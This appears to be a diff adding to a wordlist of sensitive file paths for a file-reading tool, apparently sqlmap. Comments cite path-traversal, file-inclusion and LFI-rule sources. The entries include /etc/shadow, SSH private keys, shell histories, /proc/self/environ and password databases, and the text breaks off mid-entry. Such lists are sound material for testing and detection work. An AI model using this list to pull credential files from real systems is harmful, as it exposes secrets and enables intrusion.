+/etc/security/passwd +/etc/security/user +/etc/shadow +/etc/shadow- +/etc/slackware-release +/etc/sudoers +/etc/SUSE-release +/etc/sysctl.conf +/etc/vhcs2/proftpd/proftpd.conf +/etc/vsftpd.conf +/etc/vsftpd/vsftpd.conf +/etc/wu-ftpd/ftpaccess +/etc/wu-ftpd/ftphosts +/etc/wu-ftpd/ftpusers +/logs/access.log +/logs/error.log +/opt/apache2/conf/httpd.conf +/opt/apache/conf/httpd.conf +/opt/xampp/etc/php.ini +/private/etc/httpd/httpd.conf +/private/etc/httpd/httpd.conf.default +/root/.bash_history +/root/.ssh/id_rsa +/root/.ssh/id_rsa.pub +/root/.ssh/known_hosts +/tmp/access.log +/usr/apache2/conf/httpd.conf +/usr/apache/conf/httpd.conf +/usr/etc/pure-ftpd.conf +/usr/lib/php.ini +/usr/lib/php/php.ini +/usr/lib/security/mkuser.default +/usr/local/apache2/conf/httpd.conf +/usr/local/apache2/httpd.conf +/usr/local/apache2/logs/access_log +/usr/local/apache2/logs/access.log +/usr/local/apache2/logs/error_log +/usr/local/apache2/logs/error.log +/usr/local/apache/conf/httpd.conf +/usr/local/apache/conf/php.ini +/usr/local/apache/httpd.conf +/usr/local/apache/logs/access_log +/usr/local/apache/logs/access.log +/usr/local/apache/logs/error_log +/usr/local/apache/logs/error.log +/usr/local/apache/logs/error. og +/usr/local/apps/apache2/conf/httpd.conf +/usr/local/apps/apache/conf/httpd.conf +/usr/local/etc/apache2/conf/httpd.conf +/usr/local/etc/apache/conf/httpd.conf +/usr/local/etc/apache/vhosts.conf +/usr/local/etc/httpd/conf/httpd.conf +/usr/local/etc/php.ini +/usr/local/etc/pure-ftpd.conf +/usr/local/etc/pureftpd.pdb +/usr/local/httpd/conf/httpd.conf +/usr/local/lib/php.ini +/usr/local/php4/httpd.conf +/usr/local/php4/httpd.conf.php +/usr/local/php4/lib/php.ini +/usr/local/php5/httpd.conf +/usr/local/php5/httpd.conf.php +/usr/local/php5/lib/php.ini +/usr/local/php/httpd.conf +/usr/local/php/httpd.conf.php +/usr/local/php/lib/php.ini +/usr/local/pureftpd/etc/pure-ftpd.conf +/usr/local/pureftpd/etc/pureftpd.pdb +/usr/local/pureftpd/sbin/pure-config.pl +/usr/local/Zend/etc/php.ini +/usr/sbin/pure-config.pl +/var/cpanel/cpanel.config +/var/lib/mysql/my.cnf +/var/local/www/conf/php.ini +/var/log/access_log +/var/log/access.log +/var/log/apache2/access_log +/var/log/apache2/access.log +/var/log/apache2/error_log +/var/log/apache2/error.log +/var/log/apache/access_log +/var/log/apache/access.log +/var/log/apache/error_log +/var/log/apache/error.log +/var/log/error_log +/var/log/error.log +/var/log/httpd/access_log +/var/log/httpd/access.log +/var/log/httpd/error_log +/var/log/httpd/error.log +/var/log/messages +/var/log/messages.1 +/var/log/user.log +/var/log/user.log.1 +/var/www/conf/httpd.conf +/var/www/html/index.html +/var/www/logs/access_log +/var/www/logs/access.log +/var/www/logs/error_log +/var/www/logs/error.log +/Volumes/webBackup/opt/apache2/conf/httpd.conf +/Volumes/webBackup/private/etc/httpd/httpd.conf +/Volumes/webBackup/private/etc/httpd/httpd.conf.default +/web/conf/php.ini + +# Reference: https://github.com/devcoinfet/Sqlmap_file_reader/blob/master/file_read.py + +/var/log/mysqld.log +/var/www/index.php + +# Reference: https://github.com/sqlmapproject/sqlmap/blob/master/lib/core/settings.py#L809-L810 + +/var/www/index.php +/usr/local/apache/index.php +/usr/local/apache2/index.php +/usr/local/www/apache22/index.php +/usr/local/www/apache24/index.php +/usr/local/httpd/index.php +/var/www/nginx-default/index.php +/srv/www/index.php + +/var/www/config.php +/usr/local/apache/config.php +/usr/local/apache2/config.php +/usr/local/www/apache22/config.php +/usr/local/www/apache24/config.php +/usr/local/httpd/config.php +/var/www/nginx-default/config.php +/srv/www/config.php + +# Reference: https://github.com/sqlmapproject/sqlmap/issues/3928 + +/srv/www/htdocs/index.php +/usr/local/apache2/htdocs/index.php +/usr/local/www/data/index.php +/var/apache2/htdocs/index.php +/var/www/htdocs/index.php +/var/www/html/index.php + +/srv/www/htdocs/config.php +/usr/local/apache2/htdocs/config.php +/usr/local/www/data/config.php +/var/apache2/htdocs/config.php +/var/www/htdocs/config.php +/var/www/html/config.php + +# Reference: https://www.gracefulsecurity.com/path-traversal-cheat-sheet-linux + +/etc/passwd +/etc/shadow +/etc/aliases +/etc/anacrontab +/etc/apache2/apache2.conf +/etc/apache2/httpd.conf +/etc/at.allow +/etc/at.deny +/etc/bashrc +/etc/bootptab +/etc/chrootUsers +/etc/chttp.conf +/etc/cron.allow +/etc/cron.deny +/etc/crontab +/etc/cups/cupsd.conf +/etc/exports +/etc/fstab +/etc/ftpaccess +/etc/ftpchroot +/etc/ftphosts +/etc/groups +/etc/grub.conf +/etc/hosts +/etc/hosts.allow +/etc/hosts.deny +/etc/httpd/access.conf +/etc/httpd/conf/httpd.conf +/etc/httpd/httpd.conf +/etc/httpd/logs/access_log +/etc/httpd/logs/access.log +/etc/httpd/logs/error_log +/etc/httpd/logs/error.log +/etc/httpd/php.ini +/etc/httpd/srm.conf +/etc/inetd.conf +/etc/inittab +/etc/issue +/etc/lighttpd.conf +/etc/lilo.conf +/etc/logrotate.d/ftp +/etc/logrotate.d/proftpd +/etc/logrotate.d/vsftpd.log +/etc/lsb-release +/etc/motd +/etc/modules.conf +/etc/motd +/etc/mtab +/etc/my.cnf +/etc/my.conf +/etc/mysql/my.cnf +/etc/network/interfaces +/etc/networks +/etc/npasswd +/etc/passwd +/etc/php4.4/fcgi/php.ini +/etc/php4/apache2/php.ini +/etc/php4/apache/php.ini +/etc/php4/cgi/php.ini +/etc/php4/apache2/php.ini +/etc/php5/apache2/php.ini +/etc/php5/apache/php.ini +/etc/php/apache2/php.ini +/etc/php/apache/php.ini +/etc/php/cgi/php.ini +/etc/php.ini +/etc/php/php4/php.ini +/etc/php/php.ini +/etc/printcap +/etc/profile +/etc/proftp.conf +/etc/proftpd/proftpd.conf +/etc/pure-ftpd.conf +/etc/pureftpd.passwd +/etc/pureftpd.pdb +/etc/pure-ftpd/pure-ftpd.conf +/etc/pure-ftpd/pure-ftpd.pdb +/etc/pure-ftpd/putreftpd.pdb +/etc/redhat-release +/etc/resolv.conf +/etc/samba/smb.conf +/etc/snmpd.conf +/etc/ssh/ssh_config +/etc/ssh/sshd_config +/etc/ssh/ssh_host_dsa_key +/etc/ssh/ssh_host_dsa_key.pub +/etc/ssh/ssh_host_key +/etc/ssh/ssh_host_key.pub +/etc/sysconfig/network +/etc/syslog.conf +/etc/termcap +/etc/vhcs2/proftpd/proftpd.conf +/etc/vsftpd.chroot_list +/etc/vsftpd.conf +/etc/vsftpd/vsftpd.conf +/etc/wu-ftpd/ftpaccess +/etc/wu-ftpd/ftphosts +/etc/wu-ftpd/ftpusers +/logs/pure-ftpd.log +/logs/security_debug_log +/logs/security_log +/opt/lampp/etc/httpd.conf +/opt/xampp/etc/php.ini +/proc/cpuinfo +/proc/filesystems +/proc/interrupts +/proc/ioports +/proc/meminfo +/proc/modules +/proc/mounts +/proc/stat +/proc/swaps +/proc/version +/proc/self/net/arp +/root/anaconda-ks.cfg +/usr/etc/pure-ftpd.conf +/usr/lib/php.ini +/usr/lib/php/php.ini +/usr/local/apache/conf/modsec.conf +/usr/local/apache/conf/php.ini +/usr/local/apache/log +/usr/local/apache/logs +/usr/local/apache/logs/access_log +/usr/local/apache/logs/access.log +/usr/local/apache/audit_log +/usr/local/apache/error_log +/usr/local/apache/error.log +/usr/local/cpanel/logs +/usr/local/cpanel/logs/access_log +/usr/local/cpanel/logs/error_log +/usr/local/cpanel/logs/license_log +/usr/local/cpanel/logs/login_log +/usr/local/cpanel/logs/stats_log +/usr/local/etc/httpd/logs/access_log +/usr/local/etc/httpd/logs/error_log +/usr/local/etc/php.ini +/usr/local/etc/pure-ftpd.conf +/usr/local/etc/pureftpd.pdb +/usr/local/lib/php.ini +/usr/local/php4/httpd.conf +/usr/local/php4/httpd.conf.php +/usr/local/php4/lib/php.ini +/usr/local/php5/httpd.conf +/usr/local/php5/httpd.conf.php +/usr/local/php5/lib/php.ini +/usr/local/php/httpd.conf +/usr/local/php/httpd.conf.ini +/usr/local/php/lib/php.ini +/usr/local/pureftpd/etc/pure-ftpd.conf +/usr/local/pureftpd/etc/pureftpd.pdn +/usr/local/pureftpd/sbin/pure-config.pl +/usr/local/www/logs/httpd_log +/usr/local/Zend/etc/php.ini +/usr/sbin/pure-config.pl +/var/adm/log/xferlog +/var/apache2/config.inc +/var/apache/logs/access_log +/var/apache/logs/error_log +/var/cpanel/cpanel.config +/var/lib/mysql/my.cnf +/var/lib/mysql/mysql/user.MYD +/var/local/www/conf/php.ini +/var/log/apache2/access_log +/var/log/apache2/access.log +/var/log/apache2/error_log +/var/log/apache2/error.log +/var/log/apache/access_log +/var/log/apache/access.log +/var/log/apache/error_log +/var/log/apache/error.log +/var/log/apache-ssl/access.log +/var/log/apache-ssl/error.log +/var/log/auth.log +/var/log/boot +/var/htmp +/var/log/chttp.log +/var/log/cups/error.log +/var/log/daemon.log +/var/log/debug +/var/log/dmesg +/var/log/dpkg.log +/var/log/exim_mainlog +/var/log/exim/mainlog +/var/log/exim_paniclog +/var/log/exim.paniclog +/var/log/exim_rejectlog +/var/log/exim/rejectlog +/var/log/faillog +/var/log/ftplog +/var/log/ftp-proxy +/var/log/ftp-proxy/ftp-proxy.log +/var/log/httpd/access_log +/var/log/httpd/access.log +/var/log/httpd/error_log +/var/log/httpd/error.log +/var/log/httpsd/ssl.access_log +/var/log/httpsd/ssl_log +/var/log/kern.log +/var/log/lastlog +/var/log/lighttpd/access.log +/var/log/lighttpd/error.log +/var/log/lighttpd/lighttpd.access.log +/var/log/lighttpd/lighttpd.error.log +/var/log/mail.info +/var/log/mail.log +/var/log/maillog +/var/log/mail.warn +/var/log/message +/var/log/messages +/var/log/mysqlderror.log +/var/log/mysql.log +/var/log/mysql/mysql-bin.log +/var/log/mysql/mysql.log +/var/log/mysql/mysql-slow.log +/var/log/proftpd +/var/log/pureftpd.log +/var/log/pure-ftpd/pure-ftpd.log +/var/log/secure +/var/log/vsftpd.log +/var/log/wtmp +/var/log/xferlog +/var/log/yum.log +/var/mysql.log +/var/run/utmp +/var/spool/cron/crontabs/root +/var/webmin/miniserv.log +/var/www/log/access_log +/var/www/log/error_log +/var/www/logs/access_log +/var/www/logs/error_log +/var/www/logs/access.log +/var/www/logs/error.log + +# Reference: https://nets.ec/File_Inclusion + +/etc/passwd +/etc/master.passwd +/etc/shadow +/var/db/shadow/hash +/etc/group +/etc/hosts +/etc/motd +/etc/issue +/etc/release +/etc/redhat-release +/etc/crontab +/etc/inittab +/proc/version +/proc/cmdline +/proc/self/environ +/proc/self/fd/0 +/proc/self/fd/1 +/proc/self/fd/2 +/proc/self/fd/255 +/etc/httpd.conf +/etc/apache2.conf +/etc/apache2/apache2.conf +/etc/apache2/httpd.conf +/etc/httpd/conf/httpd.conf +/etc/httpd/httpd.conf +/etc/apache2/conf/httpd.conf +/etc/apache/conf/httpd.conf +/usr/local/apache2/conf/httpd.conf +/usr/local/apache/conf/httpd.conf +/etc/apache2/sites-enabled/000-default +/etc/apache2/sites-available/default +/etc/nginx.conf +/etc/nginx/nginx.conf +/etc/nginx/sites-available/default +/etc/nginx/sites-enabled/default +/etc/ssh/sshd_config +/etc/my.cnf +/etc/mysql/my.cnf +/etc/php.ini +/var/mail/www-data +/var/mail/www +/var/mail/apache +/var/mail/nobody +/var/www/.bash_history +/root/.bash_history +/var/root/.bash_history +/var/root/.sh_history +/etc/passwd +/etc/master.passwd +/etc/shadow +/var/db/shadow/hash +/etc/group +/etc/hosts +/etc/motd +/etc/issue +/etc/release +/etc/redhat-release +/etc/crontab +/etc/inittab +/proc/version +/proc/cmdline +/proc/self/environ +/proc/self/fd/0 +/proc/self/fd/1 +/proc/self/fd/2 +/proc/self/fd/255 +/etc/httpd.conf +/etc/apache2.conf +/etc/apache2/apache2.conf +/etc/apache2/httpd.conf +/etc/httpd/conf/httpd.conf +/etc/httpd/httpd.conf +/etc/apache2/conf/httpd.conf +/etc/apache/conf/httpd.conf +/usr/local/apache2/conf/httpd.conf +/usr/local/apache/conf/httpd.conf +/etc/apache2/sites-enabled/000-default +/etc/apache2/sites-available/default +/etc/nginx.conf +/etc/nginx/nginx.conf +/etc/nginx/sites-available/default +/etc/nginx/sites-enabled/default +/etc/ssh/sshd_config +/etc/my.cnf +/etc/mysql/my.cnf +/etc/php.ini +/var/mail/www-data +/var/mail/www +/var/mail/apache +/var/mail/nobody +/var/www/.bash_history +/root/.bash_history +/var/root/.bash_history +/var/root/.sh_history +/usr/local/apache/httpd.conf +/usr/local/apache2/httpd.conf +/usr/local/httpd/conf/httpd.conf +/usr/local/etc/apache/conf/httpd.conf +/usr/local/etc/apache2/conf/httpd.conf +/usr/local/etc/httpd/conf/httpd.conf +/usr/apache2/conf/httpd.conf +/usr/apache/conf/httpd.conf +/etc/http/conf/httpd.conf +/etc/http/httpd.conf +/opt/apache/conf/httpd.conf +/opt/apache2/conf/httpd.conf +/var/www/conf/httpd.conf +/usr/local/php/httpd.conf +/usr/local/php4/httpd.conf +/usr/local/php5/httpd.conf +/etc/httpd/php.ini +/usr/lib/php.ini +/usr/lib/php/php.ini +/usr/local/etc/php.ini +/usr/local/lib/php.ini +/usr/local/php/lib/php.ini +/usr/local/php4/lib/php.ini +/usr/local/php5/lib/php.ini +/usr/local/apache/conf/php.ini +/etc/php4/apache/php.ini +/etc/php4/apache2/php.ini +/etc/php5/apache/php.ini +/etc/php5/apache2/php.ini +/etc/php/php.ini +/etc/php/php4/php.ini +/etc/php/apache/php.ini +/etc/php/apache2/php.ini +/usr/local/Zend/etc/php.ini +/opt/xampp/etc/php.ini +/var/local/www/conf/php.ini +/etc/php/cgi/php.ini +/etc/php4/cgi/php.ini +/etc/php5/cgi/php.ini +/var/log/lastlog +/var/log/wtmp +/var/run/utmp +/var/log/messages.log +/var/log/messages +/var/log/messages.0 +/var/log/messages.1 +/var/log/messages.2 +/var/log/messages.3 +/var/log/syslog.log +/var/log/syslog +/var/log/syslog.0 +/var/log/syslog.1 +/var/log/syslog.2 +/var/log/syslog.3 +/var/log/auth.log +/var/log/auth.log.0 +/var/log/auth.log.1 +/var/log/auth.log.2 +/var/log/auth.log.3 +/var/log/authlog +/var/log/syslog +/var/adm/lastlog +/var/adm/messages +/var/adm/messages.0 +/var/adm/messages.1 +/var/adm/messages.2 +/var/adm/messages.3 +/var/adm/utmpx +/var/adm/wtmpx +/var/log/kernel.log +/var/log/secure.log +/var/log/mail.log +/var/run/utmp +/var/log/wtmp +/var/log/lastlog +/var/log/access.log +/var/log/access_log +/var/log/error.log +/var/log/error_log +/var/log/apache2/access.log +/var/log/apache2/access_log +/var/log/apache2/error.log +/var/log/apache2/error_log +/var/log/apache/access.log +/var/log/apache/access_log +/var/log/apache/error.log +/var/log/apache/error_log +/var/log/httpd/access.log +/var/log/httpd/access_log +/var/log/httpd/error.log +/var/log/httpd/error_log +/etc/httpd/logs/access.log +/etc/httpd/logs/access_log +/etc/httpd/logs/error.log +/etc/httpd/logs/error_log +/usr/local/apache/logs/access.log +/usr/local/apache/logs/access_log +/usr/local/apache/logs/error.log +/usr/local/apache/logs/error_log +/usr/local/apache2/logs/access.log +/usr/local/apache2/logs/access_log +/usr/local/apache2/logs/error.log +/usr/local/apache2/logs/error_log +/var/www/logs/access.log +/var/www/logs/access_log +/var/www/logs/error.log +/var/www/logs/error_log +/opt/lampp/logs/access.log +/opt/lampp/logs/access_log +/opt/lampp/logs/error.log +/opt/lampp/logs/error_log +/opt/xampp/logs/access.log +/opt/xampp/logs/access_log +/opt/xampp/logs/error.log +/opt/xampp/logs/error_log + +# Reference: https://github.com/ironbee/ironbee-rules/blob/master/rules/lfi-files.data + +/.htaccess +/.htpasswd +/access.log +/access_log +/apache/conf/httpd.conf +/apache/logs/access.log +/apache/logs/error.log +/apache/php/php.ini +/apache2/logs/access.log +/apache2/logs/error.log +/bin/php.ini +/boot.ini +/boot/grub/grub.cfg +/boot/grub/menu.lst +/config.inc.php +/error.log +/error_log +/etc/adduser.conf +/etc/alias +/etc/apache/access.conf +/etc/apache/apache.conf +/etc/apache/conf/httpd.conf +/etc/apache/default-server.conf +/etc/apache/httpd.conf +/etc/apache2/apache.conf +/etc/apache2/apache2.conf +/etc/apache2/conf.d/charset +/etc/apache2/conf.d/phpmyadmin.conf +/etc/apache2/conf.d/security +/etc/apache2/conf/httpd.conf +/etc/apache2/default-server.conf +/etc/apache2/envvars +/etc/apache2/httpd.conf +/etc/apache2/httpd2.conf +/etc/apache2/mods-available/autoindex.conf +/etc/apache2/mods-available/deflate.conf +/etc/apache2/mods-available/dir.conf +/etc/apache2/mods-available/mem_cache.conf +/etc/apache2/mods-available/mime.conf +/etc/apache2/mods-available/proxy.conf +/etc/apache2/mods-available/setenvif.conf +/etc/apache2/mods-available/ssl.conf +/etc/apache2/mods-enabled/alias.conf +/etc/apache2/mods-enabled/deflate.conf +/etc/apache2/mods-enabled/dir.conf +/etc/apache2/mods-enabled/mime.conf +/etc/apache2/mods-enabled/negotiation.conf +/etc/apache2/mods-enabled/php5.conf +/etc/apache2/mods-enabled/status.conf +/etc/apache2/ports.conf +/etc/apache2/sites-available/default +/etc/apache2/sites-available/default-ssl +/etc/apache2/sites-enabled/000-default +/etc/apache2/sites-enabled/default +/etc/apache2/ssl-global.conf +/etc/apache2/vhosts.d/00_default_vhost.conf +/etc/apache2/vhosts.d/default_vhost.include +/etc/apache22/conf/httpd.conf +/etc/apache22/httpd.conf +/etc/apt/apt.conf +/etc/avahi/avahi-daemon.conf +/etc/bash.bashrc +/etc/bash_completion.d/debconf +/etc/bluetooth/input.conf +/etc/bluetooth/main.conf +/etc/bluetooth/network.conf +/etc/bluetooth/rfcomm.conf +/etc/ca-certificates.conf +/etc/ca-certificates.conf.dpkg-old +/etc/casper.conf +/etc/chkrootkit.conf +/etc/chrootusers +/etc/clamav/clamd.conf +/etc/clamav/freshclam.conf +/etc/crontab +/etc/crypttab +/etc/cups/acroread.conf +/etc/cups/cupsd.conf +/etc/cups/cupsd.conf.default +/etc/cups/pdftops.conf +/etc/cups/printers.conf +/etc/cvs-cron.conf +/etc/cvs-pserver.conf +/etc/debconf.conf +/etc/debian_version +/etc/default/grub +/etc/deluser.conf +/etc/dhcp/dhclient.conf +/etc/dhcp3/dhclient.conf +/etc/dhcp3/dhcpd.conf +/etc/dns2tcpd.conf +/etc/e2fsck.conf +/etc/esound/esd.conf +/etc/etter.conf +/etc/exports +/etc/fedora-release +/etc/firewall.rules +/etc/foremost.conf +/etc/fstab +/etc/ftpchroot +/etc/ftphosts +/etc/ftpusers +/etc/fuse.conf +/etc/group +/etc/group- +/etc/hdparm.conf +/etc/host.conf +/etc/hostname +/etc/hosts +/etc/hosts.allow +/etc/hosts.deny +/etc/http/conf/httpd.conf +/etc/http/httpd.conf +/etc/httpd.conf +/etc/httpd/apache.conf +/etc/httpd/apache2.conf +/etc/httpd/conf +/etc/httpd/conf.d +/etc/httpd/conf.d/php.conf +/etc/httpd/conf.d/squirrelmail.conf +/etc/httpd/conf/apache.conf +/etc/httpd/conf/apache2.conf +/etc/httpd/conf/httpd.conf +/etc/httpd/extra/httpd-ssl.conf +/etc/httpd/httpd.conf +/etc/httpd/logs/access.log +/etc/httpd/logs/access_log +/etc/httpd/logs/error.log +/etc/httpd/logs/error_log +/etc/httpd/mod_php.conf +/etc/httpd/php.ini +/etc/inetd.conf +/etc/init.d +/etc/inittab +/etc/ipfw.conf +/etc/ipfw.rules +/etc/issue +/etc/issue +/etc/issue.net +/etc/kbd/config +/etc/kernel-img.conf +/etc/kernel-pkg.conf +/etc/ld.so.conf +/etc/ldap/ldap.conf +/etc/lighttpd/lighthttpd.conf +/etc/login.defs +/etc/logrotate.conf +/etc/logrotate.d/ftp +/etc/logrotate.d/proftpd +/etc/logrotate.d/vsftpd.log +/etc/ltrace.conf +/etc/mail/sendmail.conf +/etc/mandrake-release +/etc/manpath.config +/etc/miredo-server.conf +/etc/miredo.conf +/etc/miredo/miredo-server.conf +/etc/miredo/miredo.conf +/etc/modprobe.d/vmware-tools.conf +/etc/modules +/etc/mono/1.0/machine.config +/etc/mono/2.0/machine.config +/etc/mono/2.0/web.config +/etc/mono/config +/etc/motd +/etc/motd +/etc/mtab +/etc/mtools.conf +/etc/muddleftpd.com +/etc/muddleftpd/muddleftpd.conf +/etc/muddleftpd/muddleftpd.passwd +/etc/muddleftpd/mudlog +/etc/muddleftpd/mudlogd.conf +/etc/muddleftpd/passwd +/etc/my.cnf +/etc/mysql/conf.d/old_passwords.cnf +/etc/mysql/my.cnf +/etc/networks +/etc/newsyslog.conf +/etc/nginx/nginx.conf +/etc/openldap/ldap.conf +/etc/os-release +/etc/osxhttpd/osxhttpd.conf +/etc/pam.conf +/etc/pam.d/proftpd +/etc/passwd +/etc/passwd +/etc/passwd- +/etc/passwd~ +/etc/password.master +/etc/php.ini +/etc/php/apache/php.ini +/etc/php/apache2/php.ini +/etc/php/cgi/php.ini +/etc/php/php.ini +/etc/php/php4/php.ini +/etc/php4.4/fcgi/php.ini +/etc/php4/apache/php.ini +/etc/php4/apache2/php.ini +/etc/php4/cgi/php.ini +/etc/php5/apache/php.ini +/etc/php5/apache2/php.ini +/etc/php5/cgi/php.ini +/etc/phpmyadmin/config.inc.php +/etc/postgresql/pg_hba.conf +/etc/postgresql/postgresql.conf +/etc/profile +/etc/proftp.conf +/etc/proftpd/modules.conf +/etc/protpd/proftpd.conf +/etc/pulse/client.conf +/etc/pure-ftpd.conf +/etc/pure-ftpd/pure-ftpd.conf +/etc/pure-ftpd/pure-ftpd.pdb +/etc/pure-ftpd/pureftpd.pdb +/etc/pureftpd.passwd +/etc/pureftpd.pdb +/etc/rc.conf +/etc/rc.d/rc.httpd +/etc/redhat-release +/etc/resolv.conf +/etc/resolvconf/update-libc.d/sendmail +/etc/samba/dhcp.conf +/etc/samba/netlogon +/etc/samba/private/smbpasswd +/etc/samba/samba.conf +/etc/samba/smb.conf +/etc/samba/smb.conf.user +/etc/samba/smbpasswd +/etc/samba/smbusers +/etc/security/access.conf +/etc/security/environ +/etc/security/failedlogin +/etc/security/group +/etc/security/group.conf +/etc/security/lastlog +/etc/security/limits +/etc/security/limits.conf +/etc/security/namespace.conf +/etc/security/opasswd +/etc/security/pam_env.conf +/etc/security/passwd +/etc/security/sepermit.conf +/etc/security/time.conf +/etc/security/user +/etc/sensors.conf +/etc/sensors3.conf +/etc/shadow +/etc/shadow- +/etc/shadow~ +/etc/slackware-release +/etc/smb.conf +/etc/smbpasswd +/etc/smi.conf +/etc/squirrelmail/apache.conf +/etc/squirrelmail/config.php +/etc/squirrelmail/config/config.php +/etc/squirrelmail/config_default.php +/etc/squirrelmail/config_local.php +/etc/squirrelmail/default_pref +/etc/squirrelmail/filters_setup.php +/etc/squirrelmail/index.php +/etc/squirrelmail/sqspell_config.php +/etc/ssh/sshd_config +/etc/sso/sso_config.ini +/etc/stunnel/stunnel.conf +/etc/subversion/config +/etc/sudoers +/etc/suse-release +/etc/sw-cp-server/applications.d/00-sso-cpserver.conf +/etc/sw-cp-server/applications.d/plesk.conf +/etc/sysconfig/network-scripts/ifcfg-eth0 +/etc/sysctl.conf +/etc/sysctl.d/10-console-messages.conf +/etc/sysctl.d/10-network-security.conf +/etc/sysctl.d/10-process-security.conf +/etc/sysctl.d/wine.sysctl.conf +/etc/syslog.conf +/etc/timezone +/etc/tinyproxy/tinyproxy.conf +/etc/tor/tor-tsocks.conf +/etc/tsocks.conf +/etc/updatedb.conf +/etc/updatedb.conf.beforevmwaretoolsinstall +/etc/utmp +/etc/vhcs2/proftpd/proftpd.conf +/etc/vmware-tools/config +/etc/vmware-tools/tpvmlp.conf +/etc/vmware-tools/vmware-tools-libraries.conf +/etc/vsftpd.chroot_list +/etc/vsftpd.conf +/etc/vsftpd/vsftpd.conf +/etc/webmin/miniserv.conf +/etc/webmin/miniserv.users +/etc/wicd/dhclient.conf.template.default +/etc/wicd/manager-settings.conf +/etc/wicd/wired-settings.conf +/etc/wicd/wireless-settings.conf +/etc/wu-ftpd/ftpaccess +/etc/wu-ftpd/ftphosts +/etc/wu-ftpd/ftpusers +/etc/x11/xorg.conf +/etc/x11/xorg.conf-vesa +/etc/x11/xorg.conf-vmware +/etc/x11/xorg.conf.beforevmwaretoolsinstall +/etc/x11/xorg.conf.orig +/home/bin/stable/apache/php.ini +/home/postgres/data/pg_hba.conf +/home/postgres/data/pg_ident.conf +/home/postgres/data/pg_version +/home/postgres/data/postgresql.conf +/home/user/lighttpd/lighttpd.conf +/home2/bin/stable/apache/php.ini +/http/httpd.conf +/library/webserver/documents/.htaccess +/library/webserver/documents/default.htm +/library/webserver/documents/default.html +/library/webserver/documents/default.php +/library/webserver/documents/index.htm +/library/webserver/documents/index.html +/library/webserver/documents/index.php +/logs/access.log +/logs/access_log +/logs/error.log +/logs/error_log +/logs/pure-ftpd.log +/logs/security_debug_log +/logs/security_log +/mysql/bin/my.ini +/mysql/data/mysql-bin.index +/mysql/data/mysql-bin.log +/mysql/data/mysql.err +/mysql/data/mysql.log +/mysql/my.cnf +/mysql/my.ini +/netserver/bin/stable/apache/php.ini +/opt/jboss/server/default/conf/jboss-minimal.xml +/opt/jboss/server/default/conf/jboss-service.xml +/opt/jboss/server/default/conf/jndi.properties +/opt/jboss/server/default/conf/log4j.xml +/opt/jboss/server/default/conf/login-config.xml +/opt/jboss/server/default/conf/server.log.properties +/opt/jboss/server/default/conf/standardjaws.xml +/opt/jboss/server/default/conf/standardjboss.xml +/opt/jboss/server/default/deploy/jboss-logging.xml +/opt/jboss/server/default/log/boot.log +/opt/jboss/server/default/log/server.log +/opt/apache/apache.conf +/opt/apache/apache2.conf +/opt/apache/conf/apache.conf +/opt/apache/conf/apache2.conf +/opt/apache/conf/httpd.conf +/opt/apache2/apache.conf +/opt/apache2/apache2.conf +/opt/apache2/conf/apache.conf +/opt/apache2/conf/apache2.conf +/opt/apache2/conf/httpd.conf +/opt/apache22/conf/httpd.conf +/opt/httpd/apache.conf +/opt/httpd/apache2.conf +/opt/httpd/conf/apache.conf +/opt/httpd/conf/apache2.conf +/opt/lampp/etc/httpd.conf +/opt/lampp/logs/access.log +/opt/lampp/logs/access_log +/opt/lampp/logs/error.log +/opt/lampp/logs/error_log +/opt/lsws/conf/httpd_conf.xml +/opt/lsws/logs/access.log +/opt/lsws/logs/error.log +/opt/tomcat/logs/catalina.err +/opt/tomcat/logs/catalina.out +/opt/xampp/etc/php.ini +/opt/xampp/logs/access.log +/opt/xampp/logs/access_log +/opt/xampp/logs/error.log +/opt/xampp/logs/error_log +/php/php.ini +/php/php.ini +/php4/php.ini +/php5/php.ini +/postgresql/log/pgadmin.log +/private/etc/httpd/apache.conf +/private/etc/httpd/apache2.conf +/private/etc/httpd/httpd.conf +/private/etc/httpd/httpd.conf.default +/private/etc/squirrelmail/config/config.php +/proc/cpuinfo +/proc/devices +/proc/meminfo +/proc/net/tcp +/proc/net/udp +/proc/self/cmdline +/proc/self/environ +/proc/self/environ +/proc/self/fd/0 +/proc/self/fd/1 +/proc/self/fd/10 +/proc/self/fd/11 +/proc/self/fd/12 +/proc/self/fd/13 +/proc/self/fd/14 +/proc/self/fd/15 +/proc/self/fd/2 +/proc/self/fd/3 +/proc/self/fd/4 +/proc/self/fd/5 +/proc/self/fd/6 +/proc/self/fd/7 +/proc/self/fd/8 +/proc/self/fd/9 +/proc/self/mounts +/proc/self/stat +/proc/self/status +/proc/version +/program files/jboss/server/default/conf/jboss-minimal.xml +/program files/jboss/server/default/conf/jboss-service.xml +/program files/jboss/server/default/conf/jndi.properties +/program files/jboss/server/default/conf/log4j.xml +/program files/jboss/server/default/conf/login-config.xml +/program files/jboss/server/default/conf/server.log.properties +/program files/jboss/server/default/conf/standardjaws.xml +/program files/jboss/server/default/conf/standardjboss.xml +/program files/jboss/server/default/deploy/jboss-logging.xml +/program files/jboss/server/default/log/boot.log +/program files/jboss/server/default/log/server.log +/program files/apache group/apache/apache.conf +/program files/apache group/apache/apache2.conf +/program files/apache group/apache/conf/apache.conf +/program files/apache group/apache/conf/apache2.conf +/program files/apache group/apache/conf/httpd.conf +/program files/apache group/apache/logs/access.log +/program files/apache group/apache/logs/error.log +/program files/apache group/apache2/conf/apache.conf +/program files/apache group/apache2/conf/apache2.conf +/program files/apache group/apache2/conf/httpd.conf +/program files/apache software foundation/apache2.2/conf/httpd.conf +/program files/apache software foundation/apache2.2/logs/access.log +/program files/apache software foundation/apache2.2/logs/error.log +/program files/mysql/data/mysql-bin.index +/program files/mysql/data/mysql-bin.log +/program files/mysql/data/mysql.err +/program files/mysql/data/mysql.log +/program files/mysql/my.cnf +/program files/mysql/my.ini +/program files/mysql/mysql server 5.0/data/mysql-bin.index +/program files/mysql/mysql server 5.0/data/mysql-bin.log +/program files/mysql/mysql server 5.0/data/mysql.err +/program files/mysql/mysql server 5.0/data/mysql.log +/program files/mysql/mysql server 5.0/my.cnf +/program files/mysql/mysql server 5.0/my.ini +/program files/postgresql/8.3/data/pg_hba.conf +/program files/postgresql/8.3/data/pg_ident.conf +/program files/postgresql/8.3/data/postgresql.conf +/program files/postgresql/8.4/data/pg_hba.conf +/program files/postgresql/8.4/data/pg_ident.conf +/program files/postgresql/8.4/data/postgresql.conf +/program files/postgresql/9.0/data/pg_hba.conf +/program files/postgresql/9.0/data/pg_ident.conf +/program files/postgresql/9.0/data/postgresql.conf +/program files/postgresql/9.1/data/pg_hba.conf +/program files/postgresql/9.1/data/pg_ident.conf +/program 